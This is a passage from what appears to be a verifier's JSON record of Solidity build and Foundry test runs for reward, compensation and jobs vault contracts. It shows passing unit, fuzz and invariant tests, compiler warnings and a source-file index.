testBindOnlyDevOnceAndValidatesRequesterTokenAndPool() (gas: 920837)\n[PASS] testBoundLaunchCannotBeReopenedByALateFailure() (gas: 733625)\n[PASS] testFuzzSplitConservesFundsAndDust(uint128) (runs: 256, μ: 1755137, ~: 804452)\n[PASS] testGasExhaustingFactoryAndOracleDoNotPreventSplitAndBurn() (gas: 4868535)\n[PASS] testLaunchOnlyDevOnlyOnceExactApprovalVaultPayer() (gas: 558337)\n[PASS] testNoAdminOrRequesterTransferOrArbitraryWithdrawal() (gas: 126245)\n[PASS] testReentrantFactoryAndIMDTransfersCannotDoubleDistribute() (gas: 3098677)\n[PASS] testRefusedLaunchReopensTheOneTimeCallAndOnlyIntakeForTheOwnRequest() (gas: 977243)\n[PASS] testRejectedClaimAndOracleCannotBlockDistributionOrBurn() (gas: 1686780)\n[PASS] testRejectedLaunchCanRetryAndUnsoldCannotLaunch() (gas: 825544)\n[PASS] testRejectingMarketingCodeKeepsEthWithoutBlockingSplitOrBurn() (gas: 3043056)\n[PASS] testSplitBurnFactoryNativePayoutAndWeekBoundary() (gas: 3532009)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 322.10ms (328.09ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialOracleLifecycleTest\n[PASS] testAttestationUUIDCannotSettleTwoEpochsEvenWithTwoValidSignatures() (gas: 4339385)\n[PASS] testClaimsRejectAbsentAndUnansweredEpochsWithoutMarkingClaimed() (gas: 2935178)\n[PASS] testDeferredEpochCanBeSponsoredWithoutTouchingOtherReserves() (gas: 4555420)\n[PASS] testFuzzSignedButInvalidOracleFieldsNeverConsumePending(uint8) (runs: 1000, μ: 2917312, ~: 2916512)\nLogs:\n  Bound result 2\n\n[PASS] testOutOfOrderRolloversAndCarryOnlyEpochsPreserveEveryUnclaimedWei() (gas: 7843455)\n[PASS] testRetryFailurePreservesOriginalRequestAndSponsorFunds() (gas: 3863443)\n[PASS] testRetryUsesNewPriceButPreservesDepositBlockBudgetAndQuestion() (gas: 4147655)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 336.31ms (375.91ms CPU time)\n\nRan 1 test for test/JobsStateful.t.sol:JobsPerWalletRuleTest\n[PASS] testFuzzHoppedBagNeverStarvesAnEligibleHolder(uint8,uint8) (runs: 256, μ: 4083097, ~: 3011064)\nLogs:\n  Bound result 2\n  Bound result 4\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 353.14ms (350.16ms CPU time)\n\nRan 8 tests for test/CompensationFailures.t.sol:CompensationFailuresTest\n[PASS] testAirdropTransferReentryCannotPayAnotherBatch() (gas: 2853949)\n[PASS] testFuzzDuplicateEntriesAndRepeatedBatchesNeverOverpay(uint96,bool) (runs: 1000, μ: 2409804, ~: 2412156)\nLogs:\n  Bound result 1148595863835729965491228\n\n[PASS] testFuzzProductionRootRejectsUnprovenClaims(address,uint128) (runs: 1000, μ: 553486, ~: 553423)\nLogs:\n  Bound result 5563259200155307529\n\n[PASS] testLaterTrancheRejectionRetainsOriginalBudgetAndCanRetryImmediately() (gas: 1158376)\n[PASS] testMalformedBatchCannotFreezeAirdropBalance() (gas: 2475471)\n[PASS] testOutputTransferRejectionDoesNotConsumeFirstBuyback() (gas: 1104692)\n[PASS] testSecondRecipientRejectionRevertsFirstPaymentAndAllFlags() (gas: 3456178)\n[PASS] testUnrepresentableV4DeltaRevertsBeforeAnyAssetMoves() (gas: 528492)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 353.26ms (656.82ms CPU time)\n\nRan 4 tests for test/MigrationClaims.t.sol:MigrationClaimsTest\n[PASS] testAll62HistoricalProofsReproduceTheProductionCommitment() (gas: 460377)\n[PASS] testAllRealBeneficiariesPaidAfterTenTranchesAcrossBatches() (gas: 7403184)\n[PASS] testCorruptedRealProofsSkipWithoutConsumingEligibility() (gas: 5745539)\n[PASS] testFuzzAll62PayoutsConserveSupplyRegardlessOfOrder(uint96,uint8) (runs: 1000, μ: 5410250, ~: 5578472)\nLogs:\n  Bound result 3041954473\n\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 353.48ms (356.63ms CPU time)\n\nRan 7 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdAndPerWalletDailyBoundary() (gas: 1207458)\n[PASS] testInvalidBodyAndUnsoldActionRejected() (gas: 663610)\n[PASS] testNoVaultWideCapStarvesAnEligibleHolder() (gas: 6122748)\n[PASS] testNoVaultWideSelectorsExist() (gas: 370363)\n[PASS] testNotConfiguredAndSetTokenOnlyVaultOnce() (gas: 384635)\n[PASS] testRejectedRequestsDontConsumeDailySlotAndReentryFails() (gas: 1228169)\n[PASS] testSixDecimalsThreshold() (gas: 1235008)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 353.46ms (4.56ms CPU time)\n\nRan 19 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[PASS] testAggregateClaimsCannotExceedPot() (gas: 2937961)\n[PASS] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 3838272)\n[PASS] testCarryFundedEpochPaysItsOwnOracleRequest() (gas: 4453164)\n[PASS] testClaimsRemainAvailableUntilRolloverAndTransferFailureIsAtomic() (gas: 3218360)\n[PASS] testDepositRequestsCanonicalBodyAtActualArbitrumDepositBlock() (gas: 3211392)\n[PASS] testEmptyRootCanRollOver() (gas: 2918870)\n[PASS] testExpiredFutureAndTamperedAttestationsRejected() (gas: 2824268)\n[PASS] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 256, μ: 3076385, ~: 3074226)\nLogs:\n  Bound result 1896482744686485\n  Bound result 1582317293091315\n\n[PASS] testOnlyIntakeUnknownIdAndReplayRejected() (gas: 2802547)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochsOrSpendFromSelfCall() (gas: 144484)\n[PASS] testOversizedSignedTreeCannotDrainAnotherEpoch() (gas: 4048086)\n[PASS] testRetrySponsorPaysAndEarlierRequestStillAnswersExactlyOnce() (gas: 4306652)\n[PASS] testRolloverCarryCannotBeSpentByAnOversizedCurrentTree() (gas: 4111307)\n[PASS] testRolloverMovesExactlyUnclaimedAndNextDepositSnapshotsCarry() (gas: 6469407)\n[PASS] testSmallDepositNeverSpendsPreviousEpochReserve() (gas: 2798580)\n[PASS] testSnapshotEntitlementIndependentOfCurrentBalanceAndDoubleClaimFails() (gas: 3173022)\n[PASS] testUnansweredLatestEpochCanRollAndLateCallbackCannotReviveIt() (gas: 2846204)\n[PASS] testWrongChainBlockTypeAndWeakPanelRejected() (gas: 3019157)\n[PASS] testWrongLeafAndProofCannotClaim() (gas: 2842681)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 353.45ms (328.39ms CPU time)\n\nRan 1 test for test/JobsStateful.t.sol:JobsStatefulTest\n[PASS] invariantJobBudgetPaysOnlySuccessfulEligibleRequests() (runs: 256, calls: 16384, reverts: 0)\n\n╭------------------+-----------------------+-------+---------+----------╮\n| Contract         | Selector              | Calls | Reverts | Discards |\n+=======================================================================+\n| JobBudgetHandler | advance               | 3245  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | fund                  | 3261  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | request               | 3278  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | setIntakeAvailability | 3314  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | transferHolding       | 3286  | 0       | 0        |\n╰------------------+-----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 5000000000000000000\n  Bound result 11475\n  Bound result 27794\n  Bound result 3561\n  Bound result 11777\n  Bound result 6826\n  Bound result 56\n  Bound result 38068352\n  Bound result 993\n  Bound result 6008\n  Bound result 2976\n  Bound result 100000\n  Bound result 9368\n  Bound result 24\n  Bound result 286619239\n  Bound result 9823\n  Bound result 10829\n  Bound result 467\n  Bound result 9831\n  Bound result 863\n  Bound result 7998\n  Bound result 8073\n  Bound result 3\n  Bound result 15\n  Bound result 6559\n  Bound result 2559896971204282100\n  Bound result 6003\n  Bound result 10161\n  Bound result 95847\n  Bound result 136063138127\n  Bound result 162514264337592801742431\n  Bound result 272383822\n  Bound result 142088196246489515506714\n  Bound result 3361\n  Bound result 696647206426149154896836\n  Bound result 783817414\n  Bound result 10613\n  Bound result 5892\n  Bound result 11379\n  Bound result 2027\n  Bound result 1007\n  Bound result 2866384322264050566\n  Bound result 339487282\n  Bound result 1485\n  Bound result 43\n  Bound result 816556948285906101\n  Bound result 15362\n  Bound result 171238\n  Bound result 20480\n  Bound result 1871\n  Bound result 2128\n  Bound result 100\n  Bound result 13736\n  Bound result 7526417\n  Bound result 29806416288090\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.40s (2.39s CPU time)\n\nRan 1 test for test/CompensationStateful.t.sol:CompensationStatefulTest\n[PASS] invariantBuybackAndAirdropConserveBothAssets() (runs: 256, calls: 16384, reverts: 0)\n\n╭-----------------------------+------------+-------+---------+----------╮\n| Contract                    | Selector   | Calls | Reverts | Discards |\n+=======================================================================+\n| CompensationSequenceHandler | advance    | 3251  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | airdrop    | 3252  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | buyback    | 3314  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundIMD    | 3218  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundTokens | 3349  | 0       | 0        |\n╰-----------------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 500000000000000000000\n  Bound result 12173\n  Bound result 5999\n  Bound result 226\n  Bound result 522623148\n  Bound result 100\n  Bound result 96\n  Bound result 177\n  Bound result 845\n  Bound result 9029\n  Bound result 848\n  Bound result 52\n  Bound result 9\n  Bound result 250\n  Bound result 8\n  Bound result 2835717307\n  Bound result 11\n  Bound result 0\n  Bound result 868\n  Bound result 755\n  Bound result 2065\n  Bound result 392\n  Bound result 4\n  Bound result 162514264337593543871105\n  Bound result 3983517\n  Bound result 743848210655127415586764\n  Bound result 1909\n  Bound result 856\n  Bound result 2103\n  Bound result 91\n  Bound result 2903\n  Bound result 428088656046084874308210\n  Bound result 253\n  Bound result 1276\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.08s (3.07s CPU time)\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[PASS]\nVaultInvariantsTest invariants:\n[PASS] invariantAllIMDRemainsAtAuthorizedDestinations\n[PASS] invariantBuybackNeverExceedsFrozenBudgetOrTenTranches\n[PASS] invariantEpochAccountingIsFullyBacked\n[PASS] invariantNativeAndLaunchTokensRemainAtAuthorizedDestinations\n VaultInvariantsTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭--------------+---------------------+-------+---------+----------╮\n| Contract     | Selector            | Calls | Reverts | Discards |\n+=================================================================+\n| VaultHandler | advance             | 2021  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | attemptDistribution | 2038  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | buyback             | 2055  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | distribute          | 2054  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | receiveFees         | 2047  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | requestJob          | 2080  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | rollover            | 1999  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | settleAndClaim      | 2090  | 0       | 0        |\n╰--------------+---------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 535482\n  Bound result 5760\n  Bound result 2455585789711282172791043\n  Bound result 11811\n  Bound result 4930\n  Bound result 2400\n  Bound result 1\n  Bound result 461465953024892240111475\n  Bound result 1\n  Bound result 11609\n  Bound result 1151\n  Bound result 143\n  Bound result 46\n  Bound result 1\n  Bound result 1\n  Bound result 253\n  Bound result 4929\n  Bound result 6376\n  Bound result 5309\n  Bound result 1\n  Bound result 461924\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 10954\n  Bound result 140371493\n  Bound result 1800000000\n  Bound result 54\n  Bound result 1\n  Bound result 1\n  Bound result 10601\n  Bound result 11593\n  Bound result 825\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 12326227882998887060\n  Bound result 6604093946\n  Bound result 9413565550637084864\n  Bound result 5460\n  Bound result 1\n  Bound result 1194\n  Bound result 7537125859116\n  Bound result 10280\n  Bound result 4788\n  Bound result 11267\n  Bound result 2\n  Bound result 804662757645848132\n  Bound result 1693\n  Bound result 1245992276\n  Bound result 1128\n  Bound result 3541154872\n  Bound result 1\n  Bound result 2\n  Bound result 1366\n  Bound result 819112176276814961343889\n  Bound result 9530062197470748160\n  Bound result 11000000000000000000\n  Bound result 4586\n  Bound result 5578\n  Bound result 2503\n  Bound result 1\n  Bound result 535479\n  Bound result 21\n  Bound result 682520\n  Bound result 1\n  Bound result 900000000000000000000\n  Bound result 11904\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.07s (5.06s CPU time)\n\nRan 18 test suites in 5.07s (14.04s CPU time): 95 tests passed, 0 failed, 1 skipped (96 total tests)\n","passed":true},{"durationMs":71,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CompensationVault.airdrop(address[],uint256[],bytes32[][])\",\"CompensationVault.buyback()\",\"CompensationVault.setLaunch(address,(address,address,uint24,int24,address))\",\"CompensationVault.unlockCallback(bytes)\",\"HolderRewards.claim(uint256,uint256,bytes32[])\",\"HolderRewards.onDeposit(uint256)\",\"HolderRewards.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"HolderRewards.requestDepositedEpoch(uint256,uint256)\",\"HolderRewards.retryOracle(uint256)\",\"HolderRewards.rollover(uint256)\",\"HolderRewards.setToken(address)\",\"JobsVault.requestJob(bytes)\",\"JobsVault.setToken(address)\",\"SIMDVault.bindLaunch(uint64,address)\",\"SIMDVault.distribute()\",\"SIMDVault.launch(bytes)\",\"SIMDVault.onLaunchFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"SIMDVault.onLaunchResult(bytes32,bytes32,string)\",\"SIMDVault.receive()\"],\"files\":{\".gitignore\":6,\"README.md\":118,\"docs/DEPENDENCIES.md\":15,\"docs/REVIEW.md\":33,\"docs/VERIFICATION.md\":20,\"foundry.toml\":16,\"remappings.txt\":4,\"src/CompensationVault.sol\":241,\"src/HolderRewards.sol\":312,\"src/JobsVault.sol\":54,\"src/Network.sol\":17,\"src/SIMDVault.sol\":172,\"src/VaultChild.sol\":33,\"src/interfaces/IIntake.sol\":34,\"src/interfaces/ILaunchFactory.sol\":12,\"src/oracle/OracleAttestation.sol\":239,\"src/oracle/OracleQuestion.sol\":258,\"test/AdversarialLifecycle.t.sol\":429,\"test/CompensationFailures.t.sol\":209,\"test/CompensationPriceBand.t.sol\":196,\"test/CompensationStateful.t.sol\":247,\"test/CompensationVault.t.sol\":221,\"test/Deployment.t.sol\":52,\"test/HolderRewards.t.sol\":370,\"test/JobsStateful.t.sol\":195,\"test/JobsVault.t.sol\":151,\"test/MigrationClaims.t.sol\":149,\"test/OracleConformance.t.sol\":96,\"test/RobinhoodFork.t.sol\":261,\"test/SIMDVault.t.sol\":251,\"test/TESTING.md\":72,\"test/TestBase.sol\":131,\"test/UniswapV4Integration.t.sol\":239,\"test/VaultInvariants.t.sol\":191,\"test/fixtures/MigrationClaims.sol\":331,\"test/fixtures/migration-evidence.json\":857,\"test/fixtures/migration-weights.json\":250,\"test/mocks/Mocks.sol\":294,\"tools/merkle.py\":145,\"tools/test_merkle.py\":36},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"ae0802c45c5c936a5c8d21d77e7761177c533135150e9a7ade7cc668402ca163","verifiedTreeHash":"88b22a839878165a8e0812797cddac7a199fe883","verifierVersion":"0.1.0+560ab6a2"},{"checks":[{"durationMs":174863,"exitCode":0,"name":"build","output":"Compiling 120 files with Solc 0.8.26\nSolc 0.8.26 finished in 174.63s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:128:10:\n    |\n128 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:178:9:\n    |\n178 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":9033,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 3.99ms (0.00ns CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3673)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13253)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 75505)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 10.96ms (8.23ms CPU time)\n\nRan 4 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4ThinPoolTranchesStayInsidePriceBandAndBuybackEnds() (gas: 3183637)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyOne() (gas: 4315081)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyZero() (gas: 4305614)\n[PASS] testUninitializedPoolCannotBind() (gas: 229482)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 12.43ms (11.19ms CPU time)\n\nRan 4 tests for test/CompensationPriceBand.t.sol:CompensationPriceBandTest\n[PASS] testFuzzAnyFrontRunNeverPushesTrancheOutsideEarlierBand(uint96,bool) (runs: 200, μ: 549024, ~: 531158)\nLogs:\n  Bound result 14621\n\n[PASS] testPricePushedInSameTransactionOnlyRecordsReferenceAndSpendsNothing() (gas: 444128)\n[PASS] testReferenceIsRecordedAtBindingAndBandIsSymmetric() (gas: 28895)\n[PASS] testTrancheAfterReRecordTradesOnlyInsideNewBand() (gas: 594304)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 64.63ms (59.30ms CPU time)\n\nRan 1 test for test/Deployment.t.sol:DeploymentTest\n[PASS] testFactoryCreate2DeploymentOnEmptyChainLinksAllChildrenAndHasNoOwners() (gas: 29352482)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 114.35ms (114.13ms CPU time)\n\nRan 10 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] testBindOnlyDevOnceAndValidatesRequesterTokenAndPool() (gas: 920529)\n[PASS] testFuzzSplitConservesFundsAndDust(uint128) (runs: 256, μ: 1691834, ~: 804213)\n[PASS] testGasExhaustingFactoryAndOracleDoNotPreventSplitAndBurn() (gas: 4868251)\n[PASS] testLaunchOnlyDevOnlyOnceExactApprovalVaultPayer() (gas: 464445)\n[PASS] testNoAdminOrRequesterTransferOrArbitraryWithdrawal() (gas: 125871)\n[PASS] testReentrantFactoryAndIMDTransfersCannotDoubleDistribute() (gas: 3093571)\n[PASS] testRejectedClaimAndOracleCannotBlockDistributionOrBurn() (gas: 1686606)\n[PASS] testRejectedLaunchCanRetryAndUnsoldCannotLaunch() (gas: 739922)\n[PASS] testRejectingMarketingCodeKeepsEthWithoutBlockingSplitOrBurn() (gas: 3038340)\n[PASS] testSplitBurnFactoryNativePayoutAndWeekBoundary() (gas: 3526963)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 236.81ms (254.57ms CPU time)\n\nRan 10 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropBlockedBeforeBuybackAndBadProductionProofSkips() (gas: 285160)\n[PASS] testAirdropPaysListedAccountsOnceProRataUsingFixedBalance() (gas: 2517062)\n[PASS] testEmptyBalanceDoesNotConsumeEligibilityAndBadWeightsSkip() (gas: 2247342)\n[PASS] testFixedCommitmentAndNoMutationOrWithdrawEntrypoints() (gas: 141099)\n[PASS] testFrozenBudgetIgnoresDonationsAndLeavesOnlyOriginalRoundingDust() (gas: 1848382)\n[PASS] testFuzzTranchesNeverExceedTenPercent(uint96) (runs: 256, μ: 1969736, ~: 1970175)\nLogs:\n  Bound result 3217\n\n[PASS] testPartialOrRevertedSwapRollsBackBudgetAndCooldown() (gas: 721314)\n[PASS] testThirtyMinuteBoundaryTenPercentAndTenMinuteSpacing() (gas: 2136228)\n[PASS] testUnlockCallbackAuthenticatedAndReentryCannotSpendTwice() (gas: 565483)\n[PASS] testZeroOrSubTenWeiBudgetWaitsForFeeThenCompletesAfterWindow() (gas: 241149)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 429.29ms (426.78ms CPU time)\n\nRan 18 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[PASS] testAggregateClaimsCannotExceedPot() (gas: 2933150)\n[PASS] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 3828996)\n[PASS] testClaimsRemainAvailableUntilRolloverAndTransferFailureIsAtomic() (gas: 3213549)\n[PASS] testDepositRequestsCanonicalBodyAtActualArbitrumDepositBlock() (gas: 3206835)\n[PASS] testEmptyRootCanRollOver() (gas: 2914059)\n[PASS] testExpiredFutureAndTamperedAttestationsRejected() (gas: 2819288)\n[PASS] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 256, μ: 3070798, ~: 3068641)\nLogs:\n  Bound result 706873905\n  Bound result 2523380\n\n[PASS] testOnlyIntakeUnknownIdAndReplayRejected() (gas: 2797838)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochsOrSpendFromSelfCall() (gas: 144462)\n[PASS] testOversizedSignedTreeCannotDrainAnotherEpoch() (gas: 4038711)\n[PASS] testRetrySponsorPaysAndOldIdBecomesInvalid() (gas: 3961856)\n[PASS] testRolloverCarryCannotBeSpentByAnOversizedCurrentTree() (gas: 4101932)\n[PASS] testRolloverMovesExactlyUnclaimedAndNextDepositSnapshotsCarry() (gas: 6454998)\n[PASS] testSmallDepositNeverSpendsPreviousEpochReserve() (gas: 2793926)\n[PASS] testSnapshotEntitlementIndependentOfCurrentBalanceAndDoubleClaimFails() (gas: 3168211)\n[PASS] testUnansweredLatestEpochCanRollAndLateCallbackCannotReviveIt() (gas: 2841626)\n[PASS] testWrongChainBlockTypeAndWeakPanelRejected() (gas: 3013906)\n[PASS] testWrongLeafAndProofCannotClaim() (gas: 2837870)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 529.23ms (522.35ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialLaunchAndDistributionTest\n[PASS] testBurnFailureRevertsClaimSplitEpochAndCooldownTogether() (gas: 6794810)\n[PASS] testFuzzUnauthorizedLaunchAndBindingLeaveAllStateUntouched(address,uint64) (runs: 1000, μ: 199308, ~: 199303)\n[PASS] testLateChildConfigurationFailureRollsBackEarlierChildrenAndCanRetry() (gas: 1354607)\n[PASS] testLaunchBodyBoundsDoNotConsumeOneTimePermission() (gas: 3017677)\n[PASS] testMaximumUintBalanceSplitsWithoutIntermediateOverflow() (gas: 3052894)\n[PASS] testRejectedNativeRecipientKeepsEthUntilAcceptingWeek() (gas: 3401574)\n[PASS] testRoundingDustParticipatesInFollowingWeek() (gas: 1060146)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 529.37ms (541.19ms CPU time)\n\nRan 8 tests for test/CompensationFailures.t.sol:CompensationFailuresTest\n[PASS] testAirdropTransferReentryCannotPayAnotherBatch() (gas: 2844848)\n[PASS] testFuzzDuplicateEntriesAndRepeatedBatchesNeverOverpay(uint96,bool) (runs: 1000, μ: 2400640, ~: 2403055)\nLogs:\n  Bound result 1148595863835729965491228\n\n[PASS] testFuzzProductionRootRejectsUnprovenClaims(address,uint128) (runs: 1000, μ: 553445, ~: 553391)\nLogs:\n  Bound result 21785116833815893872158361\n\n[PASS] testLaterTrancheRejectionRetainsOriginalBudgetAndCanRetryImmediately() (gas: 1158275)\n[PASS] testMalformedBatchCannotFreezeAirdropBalance() (gas: 2466370)\n[PASS] testOutputTransferRejectionDoesNotConsumeFirstBuyback() (gas: 1104610)\n[PASS] testSecondRecipientRejectionRevertsFirstPaymentAndAllFlags() (gas: 3447077)\n[PASS] testUnrepresentableV4DeltaRevertsBeforeAnyAssetMoves() (gas: 528448)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 529.27ms (1.00s CPU time)\n\nRan 4 tests for test/MigrationClaims.t.sol:MigrationClaimsTest\n[PASS] testAll62HistoricalProofsReproduceTheProductionCommitment() (gas: 460377)\n[PASS] testAllRealBeneficiariesPaidAfterTenTranchesAcrossBatches() (gas: 7402994)\n[PASS] testCorruptedRealProofsSkipWithoutConsumingEligibility() (gas: 5745539)\n[PASS] testFuzzAll62PayoutsConserveSupplyRegardlessOfOrder(uint96,uint8) (runs: 1000, μ: 5410843, ~: 5578472)\nLogs:\n  Bound result 2195\n\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 529.54ms (534.98ms CPU time)\n\nRan 6 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdAndPerWalletDailyBoundary() (gas: 1337753)\n[PASS] testHoldingHoppedBetweenWalletsCannotDrainBudget() (gas: 7868247)\n[PASS] testInvalidBodyAndUnsoldActionRejected() (gas: 663808)\n[PASS] testNotConfiguredAndSetTokenOnlyVaultOnce() (gas: 384657)\n[PASS] testRejectedRequestsDontConsumeDailySlotAndReentryFails() (gas: 1424000)\n[PASS] testSixDecimalsThreshold() (gas: 1297247)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 529.52ms (9.36ms CPU time)\n\nRan 2 tests for test/AdversarialLifecycle.t.sol:AdversarialJobsTest\n[PASS] testFuzzDecimalsThresholdOneUnitBelowAndExactlyEnough(uint8) (runs: 1000, μ: 1384523, ~: 1384491)\nLogs:\n  Bound result 36\n\n[PASS] testHoldingIsRecheckedAfterCooldownAndFailureDoesNotExtendIt() (gas: 1105204)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 529.71ms (525.23ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialOracleLifecycleTest\n[PASS] testAttestationUUIDCannotSettleTwoEpochsEvenWithTwoValidSignatures() (gas: 4329803)\n[PASS] testClaimsRejectAbsentAndUnansweredEpochsWithoutMarkingClaimed() (gas: 2930425)\n[PASS] testDeferredEpochCanBeSponsoredWithoutTouchingOtherReserves() (gas: 4548312)\n[PASS] testFuzzSignedButInvalidOracleFieldsNeverConsumePending(uint8) (runs: 1000, μ: 2912750, ~: 2911625)\nLogs:\n  Bound result 1\n\n[PASS] testOutOfOrderRolloversAndCarryOnlyEpochsPreserveEveryUnclaimedWei() (gas: 7824837)\n[PASS] testRetryFailurePreservesOriginalRequestAndSponsorFunds() (gas: 3865871)\n[PASS] testRetryUsesNewPriceButPreservesDepositBlockBudgetAndQuestion() (gas: 4086330)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 529.59ms (482.86ms CPU time)\n\nRan 1 test for test/JobsStateful.t.sol:JobsStatefulTest\n[PASS] invariantJobBudgetPaysOnlySuccessfulEligibleRequests() (runs: 256, calls: 16384, reverts: 0)\n\n╭------------------+-----------------------+-------+---------+----------╮\n| Contract         | Selector              | Calls | Reverts | Discards |\n+=======================================================================+\n| JobBudgetHandler | advance               | 3245  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | fund                  | 3261  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | request               | 3278  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | setIntakeAvailability | 3314  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | transferHolding       | 3286  | 0       | 0        |\n╰------------------+-----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 5000000000000000000\n  Bound result 3847\n  Bound result 27794\n  Bound result 371636862\n  Bound result 12143\n  Bound result 7812\n  Bound result 58\n  Bound result 471\n  Bound result 697\n  Bound result 6816\n  Bound result 16777215\n  Bound result 6\n  Bound result 10159\n  Bound result 26\n  Bound result 3514\n  Bound result 10252\n  Bound result 11635\n  Bound result 983\n  Bound result 1975733813\n  Bound result 4464285765696078734\n  Bound result 8799\n  Bound result 1747\n  Bound result 3\n  Bound result 15\n  Bound result 1800001799\n  Bound result 2559896971204282100\n  Bound result 1032\n  Bound result 10897\n  Bound result 95847\n  Bound result 136063138127\n  Bound result 